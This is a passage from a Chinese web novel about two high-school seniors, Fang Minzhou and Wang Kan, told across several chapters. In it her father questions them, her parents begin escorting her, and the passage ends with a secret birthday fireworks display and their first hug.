好几次,她都看到他趴着睡觉,都那么累了,她不想让他因为她反而更辛苦,自己还傻乎乎地没有意识到。 王衎推着车转过身去,方敏周想要喊住他,她也的确叫住了王衎,但当他回头望向她时,风灌进了方敏周的喉咙里,她仍然说不出话来。 也许就应该让他直接回家吧,她不该喊住他的…… “敏周。”忽然有一个熟悉的声音叫她。 吓了一跳,她和王衎都循声看去,不远处一个人影从人行道的树荫下走进亮处。 方敏周的心脏瞬间被吊到最高处,嗫嚅地叫道:“……爸。” 40-50 第41章 第 41 章 方敏周背都硬了,大…… 方敏周背都硬了, 大脑一片空白,又竭力运转,看到爸爸手里的塑料袋, 试图控制自己的表情, 挤出笑:“……爸, 你去超市了?” “嗯, 去超市买了点水果, 你妈说你回来要吃。”她爸说,语气平静,听不出异常。 方敏周不知道爸爸在一旁都看到了什么, 她紧握住车把,刚想要硬着头皮介绍下王衎, 王衎突然出声:”叔、叔叔你好。” 方敏周:“……” 她简直想要闭上眼睛,任由过山车就这么冲下去算了。 “我是方敏周的同……学, 之前家长会……” “我记得你。”方良平打断他, “敏周的同桌是吧。” 王衎顿了顿, 尴尬一笑, “之前是, 但前段时间换同桌了。” “哦, 这样。”方良平并不知道,问女儿,"那你现在同桌是谁?男生女生?" 像是顺口一问的问题, 却莫名地让方敏周感到一些耻辱,“……我们班文艺委员, 女生。” 她爸点点头,又问王衎:“你叫什么名字来着?我记得你和我说过,但我忘记了。” “我叫王衎。”王衎连忙跟上自我介绍。 “哪个‘衎’?” “额……”王衎紧张得舌头还没有捋直, “‘行走’的‘行’,中间加上一个‘干净’的‘干’。” “哦,这个字我还不认识,什么意思?”方良平又问。 “爸……”方敏周听不下去了。 爸爸没有理她。 昏黄的光线下,他一脸莫测,而王衎整个人僵而笔直地站着,脸涨得通红,继续回答:“快乐的意思。” “名字挺好的。”方良平说,“我想起来,之前开家长会的时候,是你妈妈来开的吧?” 一个问题接着一个问题,王衎从一开始的慌乱中回过神来,自然也察觉到了方叔叔平和表面下压抑的怒气,“……嗯。” 他瞄了眼方敏周,看到她紧抿着嘴巴,想到之前她再三强调不能越过公交车站的警告,想到她生气家长会的时候他在她爸面前现眼,说不清的歉意涌上王衎心头。那时他不以为然,现在才意识到,她其实一直在冒险纵容他。 “你家住哪里?也住这附近?”方叔叔又问他。 王衎犹豫了一下,他完全可以就着这个假设说是,但他担心这个谎言会被拆穿,他说:“我今天去我表姐家,我表姐住这附近。” 方叔叔果然接着问他是哪个小区,在他说出具体地址后,他看他的眼神稍微变了变,像是这个时候才把他的话当真,“你爸妈不在家吗?” “他们出差了。” 方良平想起来,这个男生家里好像是做生意的。个子比他要高,五官端正,很有精气神,但也就是这样的男生,是隐形的炸弹。 “那他们经常不在家?” “……有点。” “不在家的时候,你就都住你表姐家?然后你们两个,”方良平又看了眼女儿,“就这样经常一起回家?” 两两沉默。 王衎忽然冒出一些大不了被打一顿的想法,至少通过方叔叔的问话,他猜他什么都没看到,他尽量自然地说:“……就刚好顺路。” 方良平点点头,“晚自习下课回家这么晚也不太安全。” 王衎被方叔叔这句善解人意的话惊到,他不敢揽功,方叔叔又从袋子里拿出苹果和梨递给他,“你们现在高三很辛苦,你爸妈不在家,最近换季,你自己注意身体,早点回家吧。” “……好,谢谢叔叔。”王衎受宠若惊,把水果放进书包,最后和方敏周互相看了一眼,才骑上车真的往表姐家的方向驶去。 方敏周心里的石头有一半落在地上。 推着车走在爸爸旁边,爸爸什么话都没说,直到她把自行车在车棚下锁好,爸爸才问她:“敏周,爸爸问你,但是你不要撒谎。” “……好。”方敏周已经有了心理准备。 “你有没有和跟刚才那个男生谈恋爱?” “没有。”不同于暑假孙彤问她的那回,这次她答得飞快,毫不迟疑的,爸爸似乎没有想到,她自己也有点惊讶。 爸爸默默地看着她,又像是在看空中、地上的什么东西。风都停了,安静的秋夜,方敏周什么声音都听不见,只听见她在对自己说:她没有撒谎。 良久,爸爸说,他相信她。 石头彻底落地了,但为什么她还是不敢用力呼吸? 和爸爸一起回到家,妈妈觉得稀奇:“楼下碰到的?” 方敏周沉重又疲惫,怕被察觉到异样,强笑着点头。 “这么巧,我还在想你爸买个水果怎么买了这么久。”妈妈说,打开塑料袋,问要吃苹果还是梨,她把皮削了。 方敏周什么都不想吃,但她说:“苹果,我直接吃吧,不用削皮。” “皮削了,切成小块,好吃点。” “……好。”方敏周不再争辩,她看到爸爸一声不吭地进了书房,妈妈没有觉得奇怪。 洗头洗澡的时候,方敏周想要冷静下来好好回忆一下刚才发生的事情,但情绪耗尽,只木然地在温暖的水柱下站了很久,才开始往自己头上抹洗发水。 她低头看到自己的腿,还有顺着水流旋转堆积在管道口的白色泡沫,莫名想起小美人鱼的故事。 她第一次读到这个故事的时候还很小,没太大感触,后来小学学到这篇课文,老师说人鱼公主追求得不只是爱情,还有人的灵魂。 她记得自己一如既往地把老师的话记在课本上。 但现在想,人鱼只是人鱼,就像狐狸只是狐狸、老虎只是老虎,无论东方西方、无论童话神话,都是人类把自身的想法投射到动物身上。儒艮在海里自由自在,为什么要追求人的灵魂,而人的灵魂又在追求什么?梦想?名利?爱? 她的梦想是什么? 方敏周不知道。她仍然没有什么爱好、没有什么擅长,除了有时候看书,幻想过未来环游世界,但那更像是一种随便的口号,她只是向往,却从来没有为之行动过。同学之间偶尔讨论想要报考的大学专业,有的想学医、有的想学金融,有的是自己感兴趣,有的是家里本身有人在相关行业,而她也没确定,倒是妈妈很想她读会计或者师范。 而名和利,那似乎是在成人世界通行的筹码,她应该也需要,但还不知道该怎么去拥有,或者说,凭什么拥有。 至于爱……她出生就拥有,来自家人的爱,让她明白,爱是伟大的,但也是有条件的,然后朋友之间来来去去,她现在有了很好的朋友,她还想要爱情的爱,爸爸很失望,她也羞愧过,但她觉得这无可厚非。 模糊的人生仿佛尚未拉坯成型的泥料,她没有任何可以参考的模型,也知道,她不会和谁过上一模一样的生活,就像这个世界上不会有两片相同的叶子,她需要自己独立去完成这个作品。 但如果可以的话,她希望有个人陪她,或者说,他们能够一起走下去。 脑海里最后冒出来的,是王衎红着脸一句一句回答爸爸有意无意刁难的模样。 她不和王衎交往,除了害怕,也有谨慎。她想谈一场很好的恋爱,也许就是参加过的婚礼证词所说的那样,执子之手与子偕老,这是她对爱情最初始的认识,所以她不想要担惊受怕的开始,那样似乎就至少能少一道试炼,尽管她知道,这很难,是幻想,就好像“耕耘一定有收获”一样,是诱使人努力的骗局。 但她还是愿意相信。 关上花洒、擦干头发和身体,方敏周穿上妈妈早已准备好的睡衣,穿了两三年的睡衣,棉质布料被洗得越来越软,有淡淡的馨香。 这股香味让方敏周鼻尖发酸。 赵宁英把果盘端进方敏周房间,顺手整理了下女儿的卧室,但房间其实干净又整洁。方敏周从小习惯就很好,不用大人教,文具书本从来不会乱扔,每天起床后被子也会叠好。 赵宁英把床重新铺了下,拿纸巾擦了擦桌子和窗台边沿,擦桌子的时候,一边擦一边看方敏周贴在墙上的便利贴,有些写着英语单词,有些写着近期的计划,有些摘抄了名人名言之类的句子。 “妈。”方敏周回到房间。 赵宁英应了声,把纸巾丢进垃圾桶里,“来吃水果。” 方敏周在桌前坐下,“你不吃吗?” “我刚吃了。”赵宁英说,看了看她的头发,“头发好像还没吹干啊?” “差不多。”方敏周说。 赵宁英再看了看,想到现在天气还不算太冷,也没多说,还是叮嘱她晚上早点睡,又问明天早上想吃什么,方敏周说都行,要不还是面条吧。 “好。”赵宁英说,“那明天早上你放心多睡一会,让你爸送你上学。” 一块苹果顶卡在方敏周的唇边,她机械地张嘴含进嘴里,咀嚼、吞下,妈妈的表情看起来……不像爸爸有和她说什么的样子,“爸爸明天不上班?” “送完你再去单位,来得及。”赵宁英说,“我刚还和你爸说,你看你现在每天这么晚睡,早上六点不到就要起床,以后我们接你上下学,你也轻松点。” 方敏周不敢露出惊讶的表情,她没明白,如果爸爸没有和妈妈说刚才的事情,他们两个怎么会突然达成这个协议,“……不用吧,这样你们也很麻烦,而且有时候我可能在教室里多待一会。” “这有什么麻不麻烦的。我之前和我那些朋友说,我说你从来都不用我们送的,他们还说我们怎么放心的,他们孩子高三的时候,都是这样过来的。”妈妈絮叨起来,“我想想也是啊,你现在每天这么晚回来,过段时间冷起来之后,你还要等公交,那不如我们接你,你觉得呢?” 方敏周无法拒绝。 她不是不想王衎送她回家吗?她不是希望最大化利用时间吗?她没有理由拒绝。 有时候方敏周觉得大人们反而比她、他们这个年龄的学生更像小朋友,小朋友高兴就笑、不高兴就哭,大人们往往也有话直说,倒是他们,在家长、老师、同学面前都有意识地掩饰真实的自己。 吃完水果,妈妈又习惯性地唠叨了几句才离开,方敏周摊开一本书后,从抽屉里拿出手机开机。 王衎在线,与此同时他立刻发来了消息,就好像候着她也知道她会上线一样。 王衎:本人? 方敏周想笑,但实在太累了,嘴角有点扬不起来,她回:嗯 王衎:还好吗? 方敏周:嗯 她很快把下一条消息发过去:之后我爸妈送我上下学了 于是很长一段时间,王衎都没有动静,消息再发来,是问她:方便打电话吗? 方敏周看了眼闭上的房门,回:不太方便。 王衎:好 王衎:我知道了 方敏周:嗯 方敏周:那我下线了 王衎:好 方敏周:你早点睡 王衎:好 王衎:你也是 王衎:晚安 最后三条消息倒是发得很快。 方敏周退出Q/Q页面,她的视线在主屏幕的拨号键停留了两三秒,还是关了手机。 屏幕熄灭,她把手机重新放进抽屉深处,拿出便签,写下新的月度计划。 对方敏周来说,刷题对她来说都是最有效的方法,知识点和解题方法就那些,巩固已经会的,找到还没掌握的,英语除了背单词书,她也习惯刷背生词,而对理科,她有了一个激进的想法:每复习完的错题,确定自己掌握了,就把这一页撕掉,没有勇气撕掉,只能说明她还没记住。 她不确定自己有没有勇气和信心实施,但这次月考,她很想考进段前十。她愿意付出一些什么,来获得现阶段她能够得到的最大的安慰。 第42章 第 42 章 这个学期返…… 这个学期返校的时候, 高考的喜报横幅已经撤下,但一个超大的高考荣誉榜立在正校门进来的地方。 方敏周觉得这块荣誉榜简直像是一块照妖镜,心情好的时候路过这块展板, 不由自主地畅想自己名字也登上的那天;心情不好的时候路过这块展板, 便只感泰山压顶。 高考动员大会那天, 优秀毕业生代表发言时, 她听得仔细, 时有共鸣,现在却觉得残酷。高中时代最后一场追授会,有的同学失去了姓名, 而即使上了荣誉榜,又是一次高低优劣的排序, 但尽管她这么想了,却无力挣脱世俗的判定标准, 并力争取做这场比赛的胜利者。 第二天早上, 方敏周五点多就醒了。秋分已过, 黑夜渐长, 拉上窗帘的卧室里光线尚暗, 她闭上眼睛又躺了十分钟, 起床洗漱。厨房里,妈妈在做早饭,惊讶她怎么起这么早, 让她等等,“面马上就煮好了, 你去看看你爸起来了没有。” 爸爸刚好从卧室里走出来,父女俩对视一眼,都没说话。 面条配料丰富, 时间充裕,方敏周慢慢地吃完一碗,然后就像昨晚商量好的那样,爸爸送她去学校。 清晨马路通畅,开车只需要十分钟左右,但因为车内的沉默显得格外漫长。后来是爸爸先问方敏周,最近有什么想吃的,方敏周说都可以,爸爸“哦”了声,没了话,方敏周便说想家附近菜市场的烧鹅,两人才有一句没一句地聊起来,但都避开了昨晚的事情。 到了校门口,方敏周开门下车,“……走了爸爸,你开车小心。” “嗯。”爸爸说,“好好上课。” 这四个字方敏周很熟悉。 小学的时候,她还是爸妈接送上下学,那个时候每次到校,他们总是会叮嘱她一句好好上课之类的话,妈妈会更唠叨一点,放学见到她的第一句话也是问在学校有没有听话、有没有吃饱之类的。 还有更小的时候坐在电瓶车后座的记忆,风从脸颊边吹过很舒服,但最讨厌下雨天,蒙在雨衣里的气味和雨天的公交车一样让她头晕恶心。 回忆往事时,脑海里的画面总是会变成第三视角,方敏周好像看到了那个笨拙地从电瓶车后座下车的小女孩,接过书包,一边背上,一边乖乖听着话,而回忆里爸爸的模样年轻严肃,没有皱纹和眉宇间淡淡的迟疑及焦虑。 方敏周总是在这种瞬间察觉到自己长大的痕迹。 “嗯,知道。”她说。 她到教室的时候,班上的同学已经来了一半,其中包括王衎。 他在看书,但注意力并不集中,因为当她刚从后门踏入教室,只有他像背后长了眼睛似的,立马转头看了过来,略带倦意的眼睛亮起,但顾及场合,把想说的话吞了回去。 方敏周把书包放下后,拿水杯去走廊接水。 水流声下,方敏周听见身后传来一声清咳,“……你今天比平时来得迟了一点。” 她盯着水杯,“嗯。” “……你爸送你来的?” “嗯。” 方敏周接了半杯凉水后,转去接热水,直到水接满,王衎都没有再说话。 方敏周盖上盖子,转过身时,才发现王衎像是犯错一样低着头,方敏周只能看到他毛茸茸的头顶。她新奇他居然只有一个发旋,听说只有一个发旋的人脾气会比较温顺,而她有两个,看来这并不准。 方敏周忍不住叫他:“你干嘛……” 王衎一咬牙,不安地抬起眼:“你没事吧?你爸妈……有骂你吗?” 方敏周摇头:“我爸妈不会骂我的。” 王衎劫后余生般松了口,又小心问道:“那你爸……我……” 走廊此刻没人,但随时可能会有老师同学经过,方敏周低声道:“他问我,我们两个是不是……但我说没有。” “谈恋爱”三个字,方敏周仍然不好意思说出口。 王衎愣了愣,往前一步接水,“是啊,我们就是普通同学嘛。” 方敏周抿抿嘴,“……我先回去了。” 王衎重重点了下脑袋,又急匆匆叫住她:“等下,所以你之后,今天晚上也是……” “嗯,我爸来接我。” 王衎心情复杂,但只能认清现实地说声“好”,更何况即使方敏周爸妈不来接她,她昨天也说了,她不再让他送她回家了。 他一整晚没睡,想了很多:想方敏周怎么样了,想他的成绩,想他和方敏周之间的差距,想方敏周说的那些话…… 他骑车离开后又折返回来,公交车站早已没人,空空的一辆夜间班车停下又空空地开走,远处的住宅楼灯火通明,他不知道哪一盏灯是方敏周家的,他很担心她回家后的处境,虽然她爸看起来是斯文人,但……在真的等到方敏周的消息后,他的心还是没有放下来。 实在睡不着,爬起来刷题,静不下心,开机打游戏,游戏也打不下去,去厨房倒水喝。家里没人,他爸妈最近确实又在出差。朋友得知他爸妈经常不在家,无一不表示羡慕,甚至方敏周都有些惊讶,他也常常表现得自己多么幸运自由,仿佛小时候哭闹着想爸爸妈妈的人不是自己一样。 想来想去,方叔叔生气是应该的。 他不是悲观主义者,但设想了所有能想到的最坏的结果,而当黑夜过去、黎明破晓,他听见了窗外清脆的鸟啼,又是太阳升起的一天。他积累了一夜,或者其实不止一夜的像墨汁一样的坏情绪不再漫溢,而是被静置在一个杯子里,现在王衎想要把它倒掉。 事情的确没有他想象的那么糟糕。 王衎用力作出没事的模样很搞怪,方敏周却笑不出来,相反,她像看到了小丑一样难受。 王衎的水杯也满了,他对她说:“你先回教室吧。” 方敏周点头,却也变成小丑,用开玩笑的口吻:“好好学习。” 王衎神色微动,同样不甚正经地回答:“放心吧。” 秋日清晨里一个轻轻的约定。 今天老师们集体拖堂,除了吃饭,方敏周几乎都在位置上坐着,晚自习提前写完了作业,她迎来了片刻的放松,小心活动了一下身体。 她的新位置在第三排,除了尹梦然艺考集训去了,她的视野范围,密密麻麻的书堆里,所有人都在低头认真学习,前一秒钟,她也是其中的一员。再一次短暂地抽离原有的世界,方敏周没有感觉自由,而是有些迷茫。 她无端地想起王衎昨晚的控诉。 旋转木马们顺着一个方向不停地跑啊跑,只能看得到自己的前面,没有马匹会回头看,坐在马上的人才会寻找自己的同伴。方敏周摸了摸自己脖子,不太熟练地悄悄扭头,倾斜的视角中,她看到王衎在写题目,眉头皱着,表情有点臭,看起来不太耐烦。 突然,他朝她的方向看来,先是一愣,眉眼皱得更紧,然后倏然展开,面露惊喜。 偌大的教室,齐齐埋头的身影像弯腰的稻穗,亟待知识成熟,他们两个像遥遥相望的两颗。 到底是注意力没集中还是多长了一双眼睛?方敏周抿住嘴角,不动声色地把头转回来。 不过她发现这个“方法”,确实能够让人打起精神……就比如她现在心跳得就很快,一扫刚才的困乏。 晚自习下课铃声响起,方敏周开始收拾起自己的书包了,早已收拾好的欧阳茜问她:“你今天这么早走?” “我爸来接我。”她说。 欧阳茜:“啊?哦……啊?” 方敏周忍不住笑了,顺着欧阳茜探究的目光看过去,是慢吞吞收拾东西的王衎,而王衎身边站着郑彦航和吴丞,他们两个也偷偷摸摸地在看她们。 往学校正门走的途中,方敏周和欧阳茜说,昨晚王衎送他回家的时候被她爸撞见了。 欧阳茜想象了一下画面,也头皮发麻,“你爸还挺冷静的,但你和王衎确实没有在交往嘛,我可以做证人,不过要是换成我爸,他肯定不信。” 方敏周也知道,她爸其实算开明,不论他到底信不信,但至少口头上,他给予了她一份尊重。 “不过这样的话。”欧阳茜说,“你和王衎就不能一起回家了诶。” “其实……我本来也不想让他送我了,很浪费时间。”方敏周说,“刚说完,我爸就出现了。” 欧阳茜微微惊讶,她深深地看了眼方敏周,“王衎没意见?” 方敏周尴尬笑了笑,她有意略去她和王衎的争执,没想到还是被欧阳茜发现了,“……还好吧。” “虽然我之前说,你和我小姨不像,但有一点上,你们有点像。” “……什么?” “你们都会替别人做决定。比如有些事情,我不是没有考虑过后果,但我还是想要按我自己的意思来,但我小姨呢就觉得,我怎么怎么样。”欧阳茜说,“就像王衎送你回家这件事情,你管他有没有浪费时间,反正又不是你送他回家,他如果真的不想送了,那他自己会说的,他又不是傻子。” “……所以,你觉得我不应该那么说?” 欧阳茜摇头,“我不是说你做错了,我反而觉得是王衎自己拎不清,我只是觉得……”她顿了顿,看向方敏周,“你倒是替他考虑了,但你自己呢?” 方敏周说不出话来。 欧阳茜叹了口气,环住她的肩膀拍了拍。 校门口,爸爸的车已经等着了,爸爸也看到了她,车窗摇下来,欧阳茜大大方方打招呼:“叔叔你好,我是敏周的同学,我叫欧阳茜。” 欧阳茜是团支书,家长会的时候负责签到,加上方敏周在家里有提起过她,方良平对这个女生有印象,关切了几句,“你们现在学习辛苦了,平时有什么问题,同学之间互相帮忙。” 方敏周总觉得她爸意有所指,但欧阳茜很快应道:“嗯嗯,其实都是敏周帮我,我老是问她问题。” 爸爸笑了笑。 方敏周佩服欧阳茜的应对自如,这样的她,怎么还会有不考虑后果的冲动? 上车后,爸爸问她累不累,方敏周说还好。 “这个女生,欧阳,我记得她之前是坐你前面的?” “嗯,现在也坐我前面。” 爸爸应了声,“那挺好的。” 汽车往家的方向开去,超过几个骑自行车的男生,但其中没有王衎,方敏周收回目光。 第二天是周六,她到教室,抽屉里多出王衎的期中考卷子、一盒软糖还有一张便利贴,上面写的是:卷子我都复习订正好了,保证都会了,你看下,有问题你直接圈出来就行,不用和我当面讲了,放学后你早点回家吧:) ……她其实也不是这一点时间都没有的,但,她接受了王衎的好意。 中午教室没人的时候,方敏周把试卷连同面包,塞进了王衎的抽屉里,本来想给他买可乐,但还是改成更健康的食物。 接下来很长一段时间,方敏周都没有再同王衎当面说过话,甚至Q/Q上也没怎么聊过天,纵然和班上一些同学这一年多来也没打过几次交道,但原来她和王衎也可以做到“抬头不见低头也不见”的地步,方敏周觉得奇妙。抽屉里时不时多出的零食和课上心照不宣的一眼,成了两个人的秘密。 在方敏周把错题本撕了十来页的时候,第二次月考成绩出来了,她没能如愿考入段前十。 这个目标她定的时候,就知道至少这一次,很难实现,只是她已经到了需要新目标用于突破的时候,尽管比期中考还退步了一名,方敏周意外得比较平静,感觉是那些撕掉的笔记都变成了她的底气,让她能够坦然面对这次的失败,期待下次的成功。 而王衎终于跨进了段五十,方敏周由衷地为他高兴。她知道,他们都迈向了新的关卡。 第43章 第 43 章 进入十二月,辞旧迎…… 进入十二月, 辞旧迎新的好兆头让高三楼的气氛稍微活泼了一些。 最近,王衎偶尔会装模作样地来问方敏周一些问题,但往往会多带一招障眼法:有时候他会先去问欧阳茜, 欧阳茜无语但配合, 说自己不会, 让他去问别人, 比如方敏周, 于是他顺理成章地坐到尹梦然的位置上;有的时候他则是陪同金柏浩或者其他人,礼貌旁听,现在天大地大高考最大, 还替两人记仇的一些同学眼里,这是恩怨暂且勾销, 而等其他人都问完问题回位置了,要是还有时间, 就是王衎的机会。 这天晚自习开始前, 王衎辗转来找方敏周, 等方敏周讲解过, 他一边写题一边小声问她:“你明天……和谁吃饭?” 方敏周笔尖一顿, “……欧阳还有元月。“ 王衎“哦”了声。 方敏周抬了抬眼, 王衎表情看起来寻常无异,大概是有所预料,只是顺便问问。 明天是她的生日。 有些同学生日当天在学校的话, 晚饭会订蛋糕带到食堂或者在校外聚餐,方敏周想来想去, 还是觉得那太高调,她没办法叫上那么多人,而且……实际也没什么用, 也就算了。 “那晚上……还是你爸来接你吗?”王衎又问。 “……嗯。” “下课之后,能不能先别走?” 方敏周一愣,以为自己听错了。 王衎见状知道惹误会了,连忙解释:“我没有别的意思,就是,有点儿事,但你一下课就走了,所以……” 方敏周狐疑地看着王衎,什么事情他又不说,半晌,她慢慢点头,算是答应。 王衎高兴了,见班上同学变多了,拿起东西回到自己的位置上。 方敏周心里还是有点打鼓,但又觉得王衎应该不会做出什么过分的事情……回过头,前排欧阳茜一脸笑眯眯,见被她发现,还不嫌事大地挑了挑眉。 方敏周顿时脸热,用笔尾轻轻戳了戳欧阳茜的肩膀,“转过去啦。” “好啦好啦。”欧阳茜笑道。 晚上回到家,方敏周拿出好久没写的日记本。她翻到去年的生日日记,上面大而泛地记录着自己的茫然和烦恼,写有“不知道明年这个时候的自己是什么样的”的字句,被焦虑包裹的小小好奇里,寄托着纯白的希冀。 但方敏周想不起彼时她幻想的今天会是什么样的,她有想到她只是会坐在书桌前写一篇新的日记而已吗?正如她不知道明年的这个时候,她又会在哪里、做什么一样。 不过她的三个生日愿望都实现了。 方敏周写下新的生日愿望,世界和平和希望家人朋友平安喜乐不变,考试顺利改成更具体的“高考顺利,考上江城大学”,然后另翻一页,定下新年的目标,准确地说,是高考后的计划: 一、学会开车。 都说高考后是最适合学车的时候。 二、旅游一次。 毕业旅行,或者上大学之后,反正到时候周末都不用补课。 三、学习一门新的技能。 她一直在意自己没有拿得出手的特长,高考后有时间了,她觉得自己应该要尝试拓展一下。 四…… 方敏周又想到了王衎。 可是,把“谈恋爱”什么的作为计划好像很奇怪,犹豫了会,方敏周在“高考顺利”的生日愿望后补充:和w一起。 虽然是日记本,但写下这样的话也很难为情,方敏周眼睛几乎贴着纸面,四个字写得像蚂蚁一样小。划下句号,立刻就把本子合上塞回了抽屉深处。 凌晨,方敏周收到了王衎卡点的生日祝福。 方敏周看了眼床角的玩具熊,回复谢谢后,王衎问她:现在在干嘛? 方敏周:没干嘛,准备睡了,你呢? 王衎发来一张照片。 方敏周点开放大看了,摊着的一张理综卷上选择题正确率惊人。 她是不是应该夸夸他?但又怕他得寸进尺,发去一个比大拇指的表情,不等王衎回复,便说自己要去刷牙了,让他也早点休息。 王衎:晚安.jpg 第二天方敏周到教室的时候还很早,冬天的晨雾尚未散尽,教室里寥寥几人,孙彤自然是已经坐在位子上了,而王衎竟然也趴在桌上补眠。 方敏周心里有了某种预感,她走到自己座位,果然发现桌边挂了一个礼品纸袋,袋子里是一套蓝色的围巾和手套。 很清新特别的颜色,摸起来手感细腻,她还捏了捏,觉得左腔内的心脏也变得软乎乎的。 她还记得王衎暑假开的玩笑话,但其实想过等明年他生日真的送他一条围巾,让他冬天戴,没想到他先送了她一条,虽然明显不是他手织的——那可能没办法戴,但……她很喜欢。只是这样的话,等夏天来了,她该送他什么? 她看向王衎,他已经醒了,但下半张脸还全埋在胳膊里,仅露出一双眼睛期待地盯着她。他身后,薄薄的阳光透过门窗照进室内,玻璃亮晶晶的。 介于教室里有人,方敏周不知道怎么回应,她想了想,取出一只手套戴上,弯弯手指,无声地打了个招呼。 她是想说手套大小刚好,却眼见着王衎的耳朵和脸逐渐变红,要笑不笑的,然后像扎进水里似的,猛地把脑袋重新埋进了胳膊里。 方敏周:“……” 她也跟着不好意思起来,戴上了手套的这只手几乎要出汗,连忙摘下手套收好。 王衎偷偷摸摸地送礼物,方敏周也偷偷摸摸地收下,而欧阳茜和元月则光明正大了许多。 欧阳茜送了她一条项链,元月送了她一本亲手做的回忆纪念册。 元月的手太巧,欧阳茜在一旁看得自愧不如,觉得对比之下她的礼物充满了铜臭味,元月说欧阳茜如果喜欢,等她生日也给她做一本,欧阳茜惊疑,“可以吗?很麻烦吧……” “不会啊,而且我本来就喜欢做这些东西。”元月笑呵呵的。 欧阳茜后来和方敏周感慨元月怎么这么好,方敏周只有点头的份,因为她也是这么觉得。 她能猜到欧阳茜的想法,大概是觉得元月和她认识更久关系更好,对此也毫不计较,她本身就是一个很无所谓的人,元月则是对谁都特别好,所以友情的跷跷板里,方敏周时常觉得自己是被照顾偏袒的那一个。 而欧阳茜在得知王衎送了什么礼物后,又挺起了胸膛,因为她觉得王衎送得太“小儿科”了。 方敏周笑笑不说话。 晚自习打铃前,有同学得知今天是方敏周的生日,向她祝贺,几个女生围在一起顺势聊起天。方敏周无意间接收到王衎看过来的视线,忽然想起他昨天说的“有事”,黑夜降临,她也跟着惴惴不安起来。 最后一节晚自习结束前,方敏周写完了作业,教室里还很安静,她悄悄回头——王衎不在位置上。 方敏周心跳直接落了一拍,她凭空生出许多猜想,忐忑中甚至提前收拾起书包。 王衎到底要干嘛…… 忽然,她听见窗外细细簌簌的声音,似乎楼下有人叫了声,“有人在放烟花!” 铃声乍响,惊呼声如潮水般涌上来,有人打开窗户、有人跑到走廊,方敏周震惊之余,跟着跑到外头往下看——独立的高三楼下有一块空地,七班仍是在二楼,彩色的火花喷泉似得在寒寂的冬夜里绽放,寒风扑面,吹化了她因为缺氧而发烫的脸颊。 “我的妈呀,谁啊?” “不知道啊——” 方敏周心咚咚狂跳,她跑回教室拿起书包,刚迈出一步,又折返回来,拎上纸袋,一边取出围巾系上一边从趴在栏杆上的众人身后跑过。 欧阳茜正要喊方敏周,却见她匆匆跑向楼梯,蓝色的围巾被她甩在身后,人先不见了,围巾才在拐角处消失。 欧阳茜以为方敏周是急着要回家,可是又觉得奇怪,灵机一动,教室里外都看了看,找到了在看烟花的郑彦航和吴丞,但没找到王衎。 欧阳茜“啧啧”两声,重新挤入人堆里。 楼下早已挤满了人,小型的烟花,已经濒于湮尽,闻讯赶来的老师维持着秩序,禁止学生靠近,但大家探头探脑,恋恋不舍地像是围观珍惜动植物。方敏周转了一圈,没有找到王衎,她猜不到他现在会躲在哪里,漫无目的地穿过人群,下意识地往车棚的方向走去。 他会在车棚等她吗? 黑黢黢的林荫路上,她看到了不远处一个黑影。 方敏周慢下脚步,直到停下来站在原地,那个黑影则一步步走过来,走到了她面前,昏黄的光线里,方敏周看清了他的脸。 嬉皮笑脸、好不得意的一张脸。 她眼眶一热,说不上来心里此刻的感受,直接锤了王衎一下。 王衎捂住胸口低呼一声,方敏周还要再打,他连忙抓住她的手,非常意外:“怎么还打人呢?” 方敏周气喘吁吁地瞪着王衎说不出话,王衎一愣,呼吸跟着变了节奏,垂眼望着她。两个人僵持着,不待谁先开口,方敏周听见有人在朝这边过来。 下一秒,她被王衎拽着,几步小跑,躲进了旁边的小树林里。他背靠着树,她靠着他。 果然是有老师和保安在急匆匆地在搜寻“犯人”,手电筒一晃而过,方敏周紧闭上眼睛,过了会,又有学生结伴慢悠悠走过,直到安静的黑暗温柔地重新包裹住他们,方敏周才心有余悸地睁开眼来。 王衎正一脸坏笑地等着她。 方敏周一口气差点没上来,还想打他,刚一动,才发现手仍被王衎握着,她用了力,却被握得更紧了。 “你……” “我……” 两个人同时开口,一个怒一个羞,又同时没了声。 恐惧仍然萦绕在方敏周心头,她怎么也没想到王衎胆子居然这么大,这要是被抓到…… 她再挣了挣,王衎还是没有松开,他忽然低低地喊了声她的名字,方敏周屏住呼吸看向王衎,他眼神躲闪,半天也没有下一句话。 树影交错,只剩下不知何时都变得急促的呼吸在暗处交缠,隔着厚厚的外套,却仿佛能听见对方的心跳。 欲言又止、相顾无言,王衎又不敢做越矩的事情,伸出另一只手捻方敏周的围巾,方敏周浑身一个激灵,王衎开玩笑地说:“我这不是没被抓到吗?” 方敏周:“……” 这是什么值得骄傲的事情吗? “别生气啦。”王衎轻声道,“你一点都不高兴吗?” 方敏周沉默。 不是不高兴,只是、只是……哎,她的怒气早已一泻千里,良久,她才小声说:“……下次别这样了。” 很危险的。 王衎闷闷笑了笑,“也没下次了,马上就要毕业了。” 方敏周瞪他,再挣了一下,王衎舍不得松开,犹犹豫豫地说:“……如果你有一点点高兴的话,我能不能预支一个生日礼物啊?” 看不清面容,但彼此的眼睛都像月亮一样亮,方敏周示意他:什么? “我能不能……抱你一下?” 方敏周像是愣住了。 王衎舔了舔自己的嘴唇,也怀疑自己过分了,讪讪地放开她的手,正想说些什么补救一下自己的形象,却看见方敏周低下了头,像是点头。 ……是同意还是拒绝? 王衎紧张地吞了口口水,姿势笨拙地抱住了她,刚想感受一下——这个念头一冒出来,他连忙撤了开,结结巴巴地说:“额、好了……” 方敏周:“……” 第一次拥抱,穿得很厚、时间很短,有点像和商场里的玩偶拥抱,但浑身仍然像过了电似得酥麻。她像刚刚脱模的人,手脚都有点不知道该怎么摆,忽然,男生滚烫的气息再度拂来,她又被王衎拥进了怀中,他的脑袋埋在她颈侧,耍赖似得:“等等,再抱一会……” 方敏周把滚烫的脸埋在他的胸口,无声地“哦”了一声。 她的手无意识地紧抓着王衎的衣摆,后来,轻轻环上了他的腰。 王衎浑身一硬,在方敏周耳边蹭了蹭脑袋。他感觉自己像只要被挑虾线的虾,弓着背,一动不敢动。 几乎快要喘不上气来,但某一个瞬间过去,忽然就能够呼吸了,然后相拥着,不知道过了多久,等到呼吸平复,才望着彼此的眼睛松开。 月光如水,夜重新变得静悄悄的。 眼见着王衎一副要送她到校门口的架势,方敏周提醒他,“……你书包没拿。” 王衎一拍脑袋,“哦,对。” 方敏周静了两秒,“噗嗤”笑出了声,王衎懊恼抱怨:“你别笑……” “嗯嗯。”方敏周正经脸色,“你去教室拿东西吧,不用送我了。” “……好。”王衎不情不愿,看着方敏周,忽而换了轻而郑重的口吻,“还没亲口和你说,生日快乐。” 